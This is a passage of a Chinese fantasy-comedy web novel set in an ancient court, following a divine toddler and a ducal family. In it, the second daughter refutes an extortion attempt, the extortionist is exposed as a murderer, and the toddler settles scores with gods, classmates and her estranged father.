“他们私定终身,我们也不说什么,可你不能把人扣着不放啊!这还有没有王法了?”
旁边的孕妇适时地捂着肚子,虚弱地开口:
“娘……我好难受……夫君到底在哪里……”
她艰难地喘着粗气,声音断断续续:
“我的孩子快出生了,他可不能没有爹啊……我求求二小姐了……求您把夫君还给我吧……”
那悲惨的模样,可怜得让人心都碎了。
人群瞬间炸了锅。
“这……这也太欺负人了!”
“安国公府了不起啊?竟敢强抢民男?”
“二小姐还要不要脸?人家都有老婆孩子了,还往上贴!”
“就是!仗着家里有权有势,就知道欺负我们老百姓!”
“告她!告到大理寺去!不能让他们这么欺负人!”
骂声一浪高过一浪,有人甚至开始往府门口扔烂菜叶子。
第74章 是她勾引我的
淮南王妃气的脸都绿了。
“这个老泼妇!血口喷人!”
“我安国公府,世代清流,岂容这等宵小之辈攀咬?”
她撸起袖子就要冲上去,被淮南王一把抱住。
“夫人冷静!冷静!”
“冷什么静!你没听见她们往死里污蔑瑾姝吗?”
淮南王死死抱住她:“你现在冲上去打人,不就坐实了她们的话吗?”
淮南王妃气得浑身发抖,却说不出话来。
安瑾姝站在人群后面,脸色惨白如纸,浑身都在发抖。
她看着那个跪在地上哭天抢地的老太太,看着她身边那个挺着大肚子的孕妇,听着周围那些不堪入耳的骂声……
脑子里嗡嗡作响,但是,转瞬间内心就坚如磐石。
她咬着牙,强忍着眼泪,一步一步走上前。
老太太看见她,眼睛一亮,哭得更凶了,尖着嗓子喊起来:
“快看,就是她!就是她!就是她把我儿子抢走的!”
孕妇也赶紧跟着哭嚎:“二小姐……求您高抬贵手,把夫君还给我吧!我求求您了!我给您跪下了!”
淮南王妃赶紧上前将妹妹护在身后,强压下心头翻涌的怒火,努力让自己平静下来:
“你先起来,有话咱们好好说……”
话还没说完,安瑾姝却轻轻拨开姐姐的手,上前一步。
她神色平静的牢牢地盯着那个孕妇,一字一句问道:
“你刚才说,你夫君是谁?”
孕妇被她的眼神看得有些发毛,缩了缩脖子,但还是硬着头皮答道:
“王……王家村王来!”
安瑾深深吸一口气,努力压住心头的剧痛,转头看向门口的管家。
“刘叔,前几日你们在府上抓获的那个盗贼,是不是叫王来?”
管家一愣,随即眼珠子一转,瞬间心领神会。
他赶紧躬身道:“回二小姐,那盗贼好像确实叫王来。三日前深夜潜入府中,被护院当场抓获,如今还关在柴房呢。”
安瑾姝冷笑一声:
“难怪这贼寇,不惜冒着生命危险来我国公府偷盗——原来是有怀胎不易的妻子、年老刁钻的母亲、游手好闲的弟弟要养啊。”
她声音不大,却清清楚楚传入每个人耳中:
“哎……也是穷到极致了啊……”
人群瞬间引起一阵骚动。
安瑾姝继续道:
“虽然我国公府一向宽厚怜悯,但国有国法,家有家规。若是轻易放过,那我国公府岂不是成了任人宰割的软柿子?”
于是,她挥了挥手:
“刘叔,把他押出来,打五十大板警示一下,就放了他吧。”
“是!”管家领命而去。
围观众人面面相觑。
这……这到底是什么情况?
不是说二小姐强抢民男吗?
怎么又变成抓盗贼了?
片刻后,一个衣衫褴褛、鼻青脸肿的男人被两个护院押了出来。
正是王来。
他一出来,老太太就像疯了一样扑上去,一把抱住他,哭得那叫一个撕心裂肺:
“儿啊!我的儿啊!你可算出来了!娘以为这辈子都见不到你了!”
王来也赶紧挤出几滴眼泪,抱着老娘嚎啕大哭:
“娘啊!你们可算来了!儿子还以为……还以为再也见不到你们了……”
母子俩抱头痛哭,场面感天动地。
紧接着,王来又转向那个孕妇,一脸心疼:
“莲儿,你……你受苦了!可我……我是被害的啊!”
孕妇也捂着脸呜呜哭起来。
王来却忽然转过头,死死盯着安瑾姝,眼中闪过一丝算计:
“都是她!是她勾引我的!”
他指着安瑾姝,声音陡然拔高:
“是她主动勾引我,还让我带她私奔……”
“三日前,她跟我约定好,让我到后门来接她,带她远走高飞!”
“若是我不来,她就让我彻底消失!”
“她可是国公府二小姐啊,弄死我简直易如反掌……”
他喘着粗气,满脸悲愤:
“可是莲儿,我不能死啊!若是我死了,你和孩子该怎么办?”
说到此,他悲伤的眼泪直流,心中却在不断盘算。
如今只有一口咬定是安瑾姝勾引他,将她彻底拖下水。
以安国公
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府的地位,定然要保全颜面,想办法息事宁人。
到时候,他不仅能全身而退,说不定还能狠狠敲一笔!
老太太更是趴在地上,咚咚磕头:
“二小姐,这儿子就是我的命啊!您要杀要剐,冲我这老骨头来,只求您高抬贵手,放过我儿子!”
“五十大板,他实在受不住啊!若是有个什么意外,他都来不及看一眼还未出世的孩子啊……”
那模样,要多可怜有多可怜。
王来的弟弟也冲上来,一脸狠厉:
“你们这帮畜生,快放了我哥,不然我现在就去大理寺,去告你们,告你们安国公府仗势欺人!”
人群中又传来一阵骚动。
有人开始窃窃私语:
“这……这到底谁说的是真的?”
“看这老太太哭得这么惨,也不像是假的啊……”
“可二小姐看着也不像那种人啊……”
所有人都疑惑又兴奋地盯着安瑾姝,有的同情,有的笑话,有的好奇……
安瑾姝却忽然笑了。
那笑容,没来由地让王来心里发毛。
“哦?”她慢悠悠开口,“你说是我勾引你的?还要让你带我私奔?”
“那证据呢?”
王来一愣。
安瑾姝慢慢上前一步,居高临下地看着他:
“若是没有证据,你可知道,随意攀咬安国公府嫡小姐的罪责,是什么?”
王来的脸色,瞬间惨白。
老太太却一把抓起地上的手帕,高高举起:
“这,就是证据!”
“这是你送给我儿子的,说是你俩的定情信物!面还绣着你最喜欢的海棠花!”
安瑾姝眼皮都没抬,嘴角的笑意,更是从容。
“这样的手帕?”
她转身,看向身后的丫鬟:
“秋菊,把你的手帕拿出来。”
秋菊一愣,立刻从袖子里掏出一块手帕。
一模一样!!
安瑾姝又看向门口站着的几个丫鬟:
“你们的,也拿出来。”
几个丫鬟赶紧纷纷掏出自己的手帕。
一模一样的帕子!
一模一样的海棠花!
第75章 而你,不过是个杀人犯
秋菊将这几条帕子高高举了起来,声音响彻全场:
“看清楚了!这样的手帕,我安国公府的丫鬟仆妇,人人都有!”
“这是府里统一采买的!每个丫鬟,一年发都好几条!”
“小姐的帕子,怎么可能随便送人?”
王来瞪大眼睛,不敢置信:
“不……不可能!这手帕上绣的可是海棠花!你跟我说过,这是你独有的!你最喜欢的!”
安瑾姝嗤之以鼻地看着他,“海棠?我最喜欢的?”
她上前一步,一字一句:
“我安瑾姝,从小到大,最讨厌的就是海棠!”
王来彻底傻了。
安瑾姝冷冷看着他:
“你连我喜欢什么都不知道,还敢污蔑我勾引你?”
“再说了,我为什么要勾引你?是因为你穷?还是因为你足够不要脸?”
接着,她声音陡然拔高:
“我放着国公府嫡小姐的身份不要,去勾引你一个穷秀才?”
“怕是说书的,都不敢这样胡咧咧吧!”
人群瞬间炸了,众人纷纷清醒过来,马上调转矛头。
“对啊!二小姐说得对!”
“她图什么?图他穷?图他懒?”
“这不明摆着是碰瓷吗!”
“偷了人家国公府丫鬟的手帕,就敢上门来闹事,真是吃了熊心豹子胆。”
“可不是嘛,一家子不要脸的东西!讹人都敢讹到国公府来了!”
骂声一浪高过一浪。
安瑾姝站在人群中,内心却闪过后怕与庆幸,刚刚姐姐将她的锦帕,给了秋菊她们,这也是她落在王来那的唯一物件。
老太太脸色煞白,嘴唇哆嗦着,一个字都说不出来。
王来瘫在地上,面如死灰。
他在脑中飞速地回想,却发现,安瑾姝除了给他包扎伤口的锦帕,别的竟从未落下任何个人物品或信件给他。
如今竟连锦帕都不是她的,那任何让他拿捏的把柄都没有了。
安瑾姝居高临下地看着他们,一字一句:
“今日之事,我本来看你可怜,想着打个板子让你长长教训,往后好好做人。”
“奈何你们竟然如此猖狂,如此践踏我国公府的脸面……”
她冷笑一声:
“既然他们不要这脸面,那就公事公办吧。”
“刘叔,将他们送去官府!”
管家领命,大手一挥:“来人!把这几个刁民捆起来,送京兆府!”
王来脸色惨白,拼命挣扎:“不!我不去!你们放开我,我不去官府!”
老太太也扑上来抱住儿子的腿,哭得撕心裂肺:“不!不行啊!不能送官府啊!二小姐,求您开恩啊!”
孕妇更是扑到安瑾姝腿前,苦苦哀求,“二小姐,千错万错都是我们的错,求您可怜可怜我,,放过我夫君吧……”
就在这时——
“且慢!”
一道威严的声音从人群外传来。
众人回头,只见一队官兵将人群分开,大步走来。
为首的是一个三十出头的男子,身穿官袍,面容冷峻,目光如炬。
来人正是大理寺少卿裴晏。
他快步走到淮南王面前,抱拳行礼:
“王爷,下官来迟了!”
淮南王客气的回应:“裴大人?你怎么来了?”
裴晏直起身,目光落在瘫在地上的王来身上,嘴角勾起一抹冷笑:
“刚才有人报官,说有刁民在国公府门前闹事。下官便带人过来看看。”
他走近王来,居高临下地打量着他。
王来被他看得心里发毛,浑身都在发抖。
“你……你看着我做什么?”
裴晏忽然笑了。
那笑容,却让王来脊背发凉。
“王来?”裴晏慢悠悠开口,“不对,应该叫你——李狗剩吧?”
王来的脸色,瞬间惨白如纸。
人群一阵哗然,引起一阵躁动。
裴晏继续道:
“三年前,你杀害了隔壁村一名中了秀才的同名书生,然后冒名顶替,拿着他的功名,改头换面,来到京城。”
“你贿赂官员,篡改户籍,你以为做得天衣无缝?”
他冷笑一声:
“可你不知道,那书生的家人,一直都在找你!”
王来瘫软在地,浑身抖如筛糠。
“不……不可能……你怎么知道的……”
裴晏从袖中掏出一张画像,展开。
画像上的人,眉清目秀,和王来有几分相似,却多了几分书卷气。
“这才是真正的王来。”裴晏指着画像,“而你,不过是个杀人犯!”
老太太震惊的瞪大眼睛,整个人像被抽去了骨头,软软地瘫在地上。
她张了张嘴,一个字都说不出来。
王来的弟弟更是吓得面如土色,悄悄往人群后面缩
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,想偷偷溜走。
却被两个官兵一把按住。
“想去哪儿?”
而那孕妇两眼一黑,直挺挺倒在地上,晕了过去。
人群瞬间炸了锅,众人的讨伐声异常激烈。
“什么?杀人犯?”
“冒名顶替?还把人杀了?”
“天爷啊!这也太恶毒了吧!”
“果然这一家子都不是好东西!难怪有胆子敢讹上国公府!”
“呸!不要脸的东西!刚才还装可怜骗咱们!”
周围人群纷纷唾骂,造谣他们可以看笑话,但是杀人,他们绝不会袖手旁观。
一时间,人群激愤。
烂菜叶子、臭鸡蛋铺天盖地砸过去,砸得老太太和王来抱头鼠窜。
裴晏一挥手:“来人,把人带走!”
官兵上前,将浑身瘫软的王来,直接拖走了。
王来拼命挣扎,嘴里还在喊:
“冤枉!我冤枉!你们没有证据!”
裴晏冷笑,将怀中的招供书拿了出来:
“证据?好,那就让你死个明白,你贿赂的那个小吏,已经招了。”
王来彻底傻了。
他瞪大眼睛,嘴唇哆嗦着,一个字都说不出来。
官兵把他拖走,一路上留下了长长的、污臭水渍……
老太太被人架着,浑身瘫软,连哭都哭不出来了。
王来的弟弟被按在地上,瑟瑟发抖。
那个孕妇,还躺在地上,没人管她。
人群的叫骂声一浪高过一浪。
裴晏冲着淮南王点了点头,二话没说,便带人离开了。
安瑾姝站在原地,看着这一切,心头一阵后怕,眼眶微红。
她深深吸了一口气,转头看向许呦呦,“呦呦,谢谢你……”
“好啊好啊,知错能改,善莫大焉,不亏是我安承川的女儿!!”
就在这时,安国公急急忙忙,从后面走来。
他一听到消息,便着急忙慌地往回赶,直到府门口,看到小女儿临危不惧,从容不迫地处理这一切,他心中甚慰啊。
“各位乡亲,在此感谢大家对我安国公府的支持,先已真相大白,大家都散了吧!”安国公对着周围的百姓真诚地作了一揖。
众人心领神会,对安国公甚是敬畏,听到这话,就一边宽慰,一边散场……
摊在门口的那几个人,也连滚带爬地架着昏倒的孕妇,逃也似的离开了。
第76章 这就是您的课业啊
“爹!我……我……”安瑾姝红着眼眶,跪倒在安国公面前。
安国公一把将她扶了起来,满脸慈爱,“傻孩子,吃一堑长一智,这次对你来说,或许也不是坏事。”
这时,一道突兀的小奶音响了起来。
“老爷爷,泥也似个大好银咧!”
“只似,泥怕似过扒了介个年喽……”
许呦呦定定地看着安国公,突然开口道。
话音一落,全场死寂。
杨婉云瞬间脸色一白,赶紧上前,想要捂着小姑娘的小嘴。
淮南王妃脸色瞬间煞白,却快一步地抓住许呦呦的小手,声音都在发抖:
“呦呦!你……你说什么?我爹他……他怎么了?”
许呦呦小手一指,“他呀,过扒了年咧。”
“什……什么?”
淮南王妃姐妹俩当场就崩了。
安瑾姝眼泪哗地流下来,扑过去抱住安国公的胳膊:“爹!爹你不能有事啊!”
淮南王妃也慌了神,抓着许呦呦的手都在抖:“呦呦,有没有什么办法,能救救我爹?”
只见小姑娘点点头,然后一本正经地在兜兜里翻呀翻,掏呀掏……,最后终于掏出一个小白瓷瓶子。
打开瓶子,里面躺着一颗黑乎乎的小丸子,看着就……就挺特别的。
许呦呦把小丸子递过去:
“呐,给泥!次了就嘎扒鸟了。”
“因为泥身上有大功德,似好银,介个窝就送泥啦!”
淮南王妃看着那颗黑乎乎的小丸子,没有丝毫犹豫,一把抓过小丸子,转身就往安国公嘴里塞。
“爹!快!快咽下去!”
安国公还没反应过来,嘴里的东西就已经到了喉咙。
淮南王妃迅雷不及掩耳之势,立刻捂住他的嘴,往上一抬下巴,又给他顺了顺胸口。
“咕咚——”
安国公咽下去了,满脸惊疑不定。
这……这什么玩意儿,就给他吃了?
淮南王妃这才松了口气,又给自己顺了顺气,拍着胸口直喘。
“爹,您放心,呦呦出手,必是精品!”
安国公震惊看了一眼许呦呦,因为他此刻只觉通体舒畅,就连今日心头淤堵的烦闷,都一扫而空,甚至连体内隐隐作祟的陈年旧疾,似乎都在消失……
安国公心里的疑惑,此刻都已经证实,难怪大女儿要将自己千辛万苦好起来的儿子,要送到她身边当小厮。
众人也都跟着松了口气。
就在这时——
“小祖宗!!!”
一道激动得变了调的声音再次响起。
玄清道长像一阵风似的冲过来,两眼放光,死死盯着许呦呦刚才掏小丸子的那个小兜兜。
“小祖宗!您刚才那颗丹药还有吗?”
此时,他激动的胡子都在抖,眼睛更是瞪得跟铜铃一般。
啊啊啊啊!!!
老天奶啊!!!
他刚才看见了什么?
那黑乎乎的丹药,竟泛着温和的荧光……
这玩意儿能是人间的普通丹药吗?
这……分明就是传说中的仙丹啊!!
“小祖宗!您能给贫道看看吗?就看一眼,贫道保证不多看两眼!”
“小祖宗!您那丹药还有没有多余的?贫道愿意用全部家当换!”
“小祖宗!您能告诉贫道那丹药是怎么炼的吗?贫道想学……”
“小祖宗……”
许呦呦嫌弃的眉头一皱,毫不客气的小手一挥:
“臭道屎,米一个好东西!”
“冬梅姐姐,送他肥去!”
玄清道长吓得瞬间闭嘴,双手死死捂住自己的嘴巴,生怕被冬梅拎走,就这样眼巴巴地盯着呦呦的小兜兜。
热闹看完,天色也不早了。
杨婉云婉拒了淮南王妃的盛情邀请,抱着呦呦准备回府。
刚走出几步,就听见身后传来一阵气喘吁吁的呼叫声声:
“诶诶诶!!师父……师父啊!等等我!”
朱静言屁颠屁颠跑了过来,跑得满头是汗,小脸通红。
他手里举着一本课业,一脸讨好地递过来:
“师父啊!您今日有东西落下了!我特意给您送回来了!”
许呦呦低头一看,小脸瞬间僵住。
“送送送!送泥娘个腿儿!!!”
小家伙瞬间炸了,两个小揪揪都直直竖起来。
“介扒似窝滴东西!泥……泥搞错了!”
朱静言挠了挠脑袋,一脸懵逼地看着她:
“没错啊,师父!这就是您的课业啊!上面有夫子专门给您的批注,是一个星星标志!”
他天真地指着课业上的星星标记,一脸求表扬的期待:
“夫子都说了,您乃文曲星之质,这星星就是您的专属
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标记呀!”
许呦呦气得直跳脚:
“泥……泥似扒似缺心眼啊?!”
“都嗦了,介扒似窝滴,扒似窝滴!”
“泥听不懂银话啊?”
杨婉云在一旁悠悠开口:
“那你说,你的课业呢?”
许呦呦的声音戛然而止。
她眼珠子滴溜溜转了几圈,小嘴张张合合,半天憋出一句:
“夫纸……夫纸夸窝表现好咧!免了窝滴课业!”
“真的吗?”杨婉云笑眯眯地看着她。
只是这笑容,让许呦呦心里直发毛。
杨婉云伸手接过朱静言手中的课业,翻开看了看。
然后,她默默把课业收好。
“回家!!”
她一把拎起许呦呦,头也不回地上了马车。
接着,马车里瞬间传来萌娃震天动地的哭嚎声:
“凉啊……窝……窝冤枉……介扒似窝滴啊……”
朱静言站在原地,清澈的小脸上写满了疑惑。
他挠挠头,小声嘀咕:
“哎,师父怎么哭了?难道我这课业,真送错了?”
当晚。
许呦呦被关在自己房中。
房门紧闭,窗户紧闭,连窗帘都拉得严严实实。
桌上点着一盏小灯,许呦呦趴在桌前,小脸皱成一团,手里的笔都快被她咬断了。
课业!
那么多天积累的课业。
整整三篇啊!
放学时,她故意藏在新挖的狗洞里,没想到,竟然被那小崽子找了出来!
真是人算不如天算啊!!
小家伙越想越气,小胸脯一起一伏。
她“噌”地站起来,从怀里掏出那根特制的鸡毛掸子。
然后,蹲在地上,用小胖手在地上画起了圈圈。
一边画,嘴里一边骂,简直异常奶凶:
“泥们介群狗东西,真扒做个银呀!”
“当初骗窝下乃,嗦让窝体验一把人间富贵!”
“窝体验泥凉个腿儿的!”
“泥们睁大泥们滴狗眼康康!窝过滴都似虾米日子!”
“上学堂……写课业……还米有糖吃!”
“泥们要屎呀,骗窝下乃上学堂,写课业!”
“畜生啊!!真似畜生都扒如啊!”
“以后,窝跟泥们,就似大海水辣么多滴仇……”
“等窝肥去……等窝肥去……”
第77章 biu~biu~
她越说越气,手里的鸡毛掸子在地上戳得“咚咚”响:
“窝让泥们……都屎一屎!”
“然后,都投进畜生道!”
“让泥们成为,真正滴畜生……”
“再把泥们……把泥们……”
她气得狠狠冲着天翻了个白眼,然后给自己顺了口气,一屁股坐在地上:
“当畜生,宰了……泥们一个都跑不掉!”
小家伙长着小嘴喋喋不休,骂累了,就喝口水,接着骂……
守在外面的冬梅,听到里面窸窸窣窣的动静,赶紧跑到窗边张望。
透过窗帘的缝隙,就看见自家小主子坐在地上,奶凶奶凶地敲着鸡毛掸子,两个小揪揪都跟烧焦了似的,完全炸了毛。
而她脸上的表情更是……一言难尽。
咬牙切齿,怒目圆睁,不停翻着白眼……最后还不停地给自己顺气。
虽然听不清她在骂什么,但这架势,这动作……
冬梅默默缩回脑袋,咽了口唾沫。
这骂的……得有多脏啊!!
算了,还是别进去了。
让她骂一会儿吧。
不然,这小祖宗,晚上的觉,怕是难睡了。
实在不行……
明天再去偷偷给她买几颗糖吧。
而此时,九天之上。
瑶池畔,祥云缭绕,仙气飘飘。
众仙正围坐在一起,悠然自得的吃着蟠桃,开着茶会。
太白星君端着玉杯,正跟司命讨论下界的趣事:“听说那顾振宇终于要娶杨婉云,不容易啊不容易。”
月老捋着红线,一脸得意:“那是,老夫牵的红线,能差吗?”
云霄仙子靠在栏杆上,欣赏着云海翻涌:“下界最近倒是热闹,那小祖宗天天搞事情……”
话还未说完,忽然!
一道熟悉的金光冲天而起,刺得众仙睁不开眼。
“哎哟!”太白星君手里的玉杯差点掉了。
“我的眼睛!”月老捂着脸惨叫。
众人如临大敌,自觉地齐刷刷站起来,大气都不敢喘。
紧接着,一阵奶凶奶凶的骂声,穿透云霄,直直传入每个人耳中。
这声音,虽然奶声奶气,但却气势十足,一听就是气得极狠。
“畜生啊……泥们真似畜生都扒如啊……”
“等窝肥去……让泥们投畜生道……”
众仙的脸色,瞬间精彩极了。
太白星君捂着耳朵,一脸生无可恋:“这……这小祖宗咋又生气了?上次骂得咱们寝食难安,这次又来?”
司命缩了缩脖子,小声嘀咕:“上次她骂完,我做了半个月噩梦……半个月啊!一闭眼就是她的骂声!”
月老捋着胡子,一脸无辜:“这回跟老夫没关系吧?她娘的姻缘我安排得明明白白的!”
云霄仙子扶额,一脸无奈:“你们还有心思在这吵?这小祖宗再不哄哄,你们是真想死啊?”
众仙纷纷叹气:“哎,这小祖宗的神力不是被凡间法则给封了吗?怎么杀伤力还这么强?”
司命满脸哀怨:“你们也真是的,当初好好的,非得骗她下凡……出来混总是要还的,你们就想想看,拿什么还吧?”
月老一听,瞬间炸了:“哎呦!你还有脸说!当初这馊主意不是你给大家出的嘛?现在你搁这装什么大好人?”
司命老脸一红:“我……我也就无意提了一嘴,哪成想,你们真就这么做了。”
太白星君不耐烦地摆摆手:“行了行了,说这些废话有什么用?还是想想怎么哄吧……”
话音未落……
“biu~biu~”
一颗小石子从下而上,精准地砸在太白星君脑门上。
“哎哟!”
太白星君捂着额头惨叫。
众人还没反应过来,铺天盖地的石子已经从下方飞了上来。
奇怪的是,这些石子就跟长了眼睛一般,能精准地找到每个人的痛点。
“biu~biu~”一颗又精准地砸在司命的膝盖上。
“哎呦喂!我的老寒腿!”
“biu~biu~”一颗直接瞄准在月老的腰上。
“啊!老夫的腰!腰要断了!”
“biu~biu~biu~”几颗同时砸向云霄仙子。
云霄仙子身形一闪,躲过了三颗,却被第四颗砸中了屁股。
“哎呀!”她捂着脸,又羞又疼。
一时间,瑶池上惨叫声此起彼伏。
“哎呦哎呦哎呦,疼死了!”
“别砸了!小祖宗!别砸了!”
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“哎呦!老夫这腰真要断了……还有我的波棱盖……”
“我的脸……我的头……我的天灵盖啊……”
众仙抱头鼠窜,整个仙池,狼狈不堪。
有的往桌子底下钻,有的往柱子后面躲,还有的甚至趴在地上装死。
但那些石子就跟长了眼睛似的,不管他们躲到哪里,都能精准地砸中。
“啊……别砸啦……我的小祖宗耶……别砸了……”
遍地哀嚎,一直在持续……
半个时辰后。
石子终于停了。
瑶池上却一片狼藉——桌子翻了,椅子倒了,茶杯碎了,仙果滚了一地。
众仙瘫坐在地上,捂着浑身的大包小包,痛得龇牙咧嘴,欲哭无泪。
大家面面相觑,满脸的生无可恋。
这……这玩意儿谁敢去哄?
哎……骂就骂吧,挺挺也就过去了。
太白星君再次深深叹了口气,捂着脑门上的包说:“我还是回去多炼点丹药吧,回头全给她当零嘴吃着玩。什么延年益寿丹、美容养颜丹、开胃健脾丹,她要多少我给多少!”
司命揉着膝盖,赶紧表态:“我……我多研究些话本子,回头演给她看!对,还要把她写进话本里,让她当主角!”
月老扶着腰,眼睛一亮:“那……那我,还是让她娘的姻缘更美满一些吧?让她和顾振宇甜甜蜜蜜、恩恩爱爱?她高兴了,小祖宗是不是就不生气了?”
云霄仙子捂着脸,咬牙切齿:“你们最好麻利点,下次再连累我,我跟你们没完!”
众仙一哄而散,逃也似的离开了瑶池。
许呦呦骂够了,也骂累了。
她抹抹眼泪,抽抽搭搭地爬起来,继续趴在桌前,一笔一划地写课业。
写一笔,骂一句。
骂一句,再写一笔。
直到子时,终于写完了。
小家伙把笔一扔,往床上一倒,眼睛一闭,秒睡过去。
第二日一早。
冬梅进来伺候洗漱,看见小主子那副模样,差点没忍住笑出声。
许呦呦顶着一对熊猫眼,生无可恋地被她娘再次塞进了马车。
车上,谢怀轩看着她,小心翼翼地问:
“妹妹,你昨晚没睡好?”
第78章 泥……去屎吧!!!
许呦呦顶着两个黑眼圈,小脸气得鼓鼓囊囊,两个冲天的小揪揪,写满了浑身不爽。
一向话痨的小姑娘,一路上愣是一个字都没说。
谢怀轩缩在马车角落,大气都不敢出,生怕惹毛了这位小祖宗。
到了幼儿学堂,马车刚停稳,许呦呦就“噌”地跳了下去,小短腿噔噔噔就往里冲。
朱静言老早就站在门口,踮起脚尖在那等着。
刚一看见了她,就屁颠屁颠跑过来,一脸讨好:
“师父,您可算来了,我……”
许呦呦停下脚步,眯着眼睛看着他。
那眼神,让他觉得脖颈冷飕飕的……
他心里“咯噔”一下,下意识往后退了一步。
“师……师父哇,您……您怎么了?”
许呦呦小手一指:
“泥!肘!比射箭!”
朱静言吓得腿都软了,差点当场就给她跪下。
这气势,哪里是去比射箭啊?
这分明就是要射死他的节奏啊!
他赶紧从怀里掏出一个小盒子,双手捧着递到许呦呦面前,一脸谄媚:
“师父师父,您消消气!您看这是什么?”
许呦呦低头一看——小盒子里装着五颜六色的糖果,晶莹剔透,看着就甜。
小姑娘努力板着脸,但是眼睛,却瞬间亮了一下。
朱静言赶紧狗腿子一般地将盖子打开:
“师父,这可是我攒了半年才攒下的!本来想留着过年吃的,现在全孝敬给您!”
许呦呦拿起一颗,塞进嘴里,但还强撑着绷着脸。
朱静言这才放心地继续说道:
“师父哇,以后我保证再也不给您送课业了!”
许呦呦这才满意地点点头,伸手又拿了一块糖果。
“但是师父,昨晚我想了一夜,终于想到一个好办法!”朱静言神秘兮兮地凑过来,“以后您的课业,我找人扔进您家墙头就行了!神不知鬼不觉,绝对不会被其他人发现!”
“咳咳咳!!!”
许呦呦刚塞进嘴里的糖,还没来得及品味那股甜味,直接被呛得直翻白眼,那颗糖硬生生滑进了嗓子眼。
“泥……去屎吧!!!”
她一脚踹在朱静言小腿上,气呼呼地冲进了学堂。
朱静言捂着腿,一脸懵逼:
“我……我又说错什么了?”
半刻钟后。
“哇……”
“呜呜呜……”
“啊啊啊……”
整个学堂瞬间炸了锅,哀嚎声遍起。
只见小不点们,哭得上气不接下气。
而学堂中间,一个小姑娘叉着圆滚滚的小腰,小手挨个指着,嘴里不停地突突往外冒:
“泥娘就跑咧!跑得阔快啦,头都不肥,嗦介辈子都不想康见泥爹和泥啦!”
“还有泥,泥爹就似不喜欢泥!他喜欢隔壁二狗子,说二狗子比泥聪明一百倍!”
“还有泥,泥藏滴铜板,早被泥凉拿去买胭脂,买完还嫌少呢!”
“还有泥,泥以为泥爹出门做生意啦?哎呦,他似被债主追得跑路啦,这辈子都肥不来啦!”
“对了,泥别跑,还有泥,泥藏滴那些糖,以为藏得挺好?呵呵,早被你凉搜出来扔了!”
就连角落里两个抱成一团的两个小丸子,许呦呦也没放过。
她凑过去,左边一句:“泥凉嗦泥似捡来滴!”
右边一句:“泥爹嗦泥似被银掉包滴!”
……
一时间,整个学堂里,哭声格外震天,泪流密集成河。
夫子捂着脑袋,看着下面的惨状,太阳穴青筋暴起,突突直跳。
尼玛!
到底又是谁惹了这小祖宗?
各家丫鬟小厮,赶紧熟练地上前,哄着自家的小祖宗。
好不容易,挨过这惨绝人寰的一天。
直到下学。
许呦呦走出学堂,小脸还绷着。
冬梅赶紧迎上来,伸手接过她的小书包:“小姐,回府吗?”
小姑娘却是小眼一瞪,小手一挥:
“扒回!肘,报仇去!”
冬梅一愣:“报仇?去哪儿?”
“许府!”
冬梅嘴角抽了抽。
得,这是还没解气呢。
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>——
许府门口。
许呦呦刚下马车,就看见一群人围在那儿。
一见她来,众人立刻热情地涌上来。
“小郡主,您来啦!”
“哎呦,小郡主呦,您都不知道,那许振山家这几天可热闹了!”
一个卖菜的大婶抢着说:“他竟然丧心病狂地把亲妹妹许清烟卖进青楼了,就换了十两银子呀!”
“岂止啊!”旁边的大爷赶紧接话,“他把还老娘的棺材本全掏出来了,一文不剩!”
“最绝的是……”一个年轻后生挤过来,压低声音,“他把老太太嘴里那颗金牙都拔了,我亲眼看到的,他拿去换钱了!”
“老太太当场就中风了,现在躺在床上嘴歪眼斜的,动都动不了,话也说不出来,更别说找个大夫看看了。”
“还有还有!”一个妇人捂嘴笑,“他那小妾李莲茵不是跑了吗?听说被乞丐送到后山别院,竟被人活活打死了……”
“哎呦,这一家子恶有恶报,真是报应太爽啊!”
“就是!报应啊,一个都没落下……”
许呦呦板着的小脸,终于有了一丝笑意。
她笑眯眯地冲大家挥挥小手:
“谢谢各位婶子伯伯!米领钱滴,继续去杨府领哦!”
众人纷纷感激,对着小家伙是满眼疼爱。
许呦呦转过身,小手一挥:
“冬梅姐姐,肘!进去康康!”
她大摇大摆地走进了许府。
如今的许府,院子里一片破败。
只见门窗歪斜,枯叶满地,墙角结着蜘蛛网,连那棵曾经开得热闹的蜡梅都枯死了,光秃秃的枝丫在风里摇晃。
正屋门口,许振山形容枯槁地站在那里。
他如今瘦得完全脱了相,颧骨高高凸起,眼窝深陷,胡子拉碴,头发乱糟糟,身上打满补丁的袍子空空荡荡的。
看见许呦呦时,他眼睛瞬间一亮,随即又暗下去,接着就是深深的怨恨。
许呦呦背着小手,晃晃悠悠走到他面前,仰着小脸看他。
“五日到啦,窝乃拿钱!”
第79章 娘有呦呦,一切就都够了
许振山咬着牙,从怀里掏出一叠银票,狠狠摔过来。
“给你!!”他声音沙哑,却带着压不住的恨意,“你个孽女!逼迫亲爹至此,你就不怕遭报应吗?”
“我养你一场,就算有天大的错,你也流着我许家的血!如今你发达了,就翻脸不认人,来抄亲爹的家?”
“你们母女俩联手把我往死里逼,就不怕天打雷劈?”
“我告诉你,老子就算死,也要化成厉鬼,也要日日夜夜缠着你们,让你们永世不得安生!”
许呦呦接过银票,让冬梅数了数,满意地点点头。
然后才抬起小脸,看向许振山。
“报应?”
她小嘴一咧,笑得天真无邪。
“泥扒似正在遭嘛?”
“还有哦,泥想变成厉鬼,那阔容易啦,也就似窝一句话滴事咧!”
许振山浑身一抖,脸色惨白,嘴唇张张合合,一个字都说不出来。
许呦呦把银票塞进怀里,拍拍小手。
“现在,介钱泥已经还清啦。”
“以后,别再叭叭叭地乱嚷嚷。”
她顿了顿,又往前走了几步,生怕别人不知道地大声说道:
“不然,将军爹爹滴麻包袋,阔似长了眼滴……”
“见泥一次,套一次。”
“打泥一次,爽一次。”
许振山气得浑身发抖,指着她的手都在哆嗦:
“你……你……还有你娘!都给我等着!”
许呦呦转身,朝冬梅张开胳膊,一个多余的眼神都没留给他。
冬梅一把抱起她,主仆二人头也不回地往外走。
身后,许振山站在原地,死死盯着那个小小的背影。
那眼神,像淬了毒。
恨意翻涌,几乎要溢出来。
好啊……
好啊!
他嘴角缓缓勾起一抹邪魅的笑,只是那笑容扭曲狰狞,阴沉狠厉。
老子不好过,你们也休想好过!
许呦呦揣着银票,大摇大摆回了杨府。
正厅里,杨婉云端坐在榻上,手里捧着一本账册,烛光映在她脸上,柔和又温婉。
“凉!窝肥来啦!”小家伙献宝似的扑过去,把一叠银票塞进她手里,“康康!一万五千两!一个铜板都米少!”
杨婉云接过银票,嘴角缓缓勾起一抹笑意。
“娘的宝贝,真厉害!!”
“看来,这畜生终于舍得全吐出来了。”
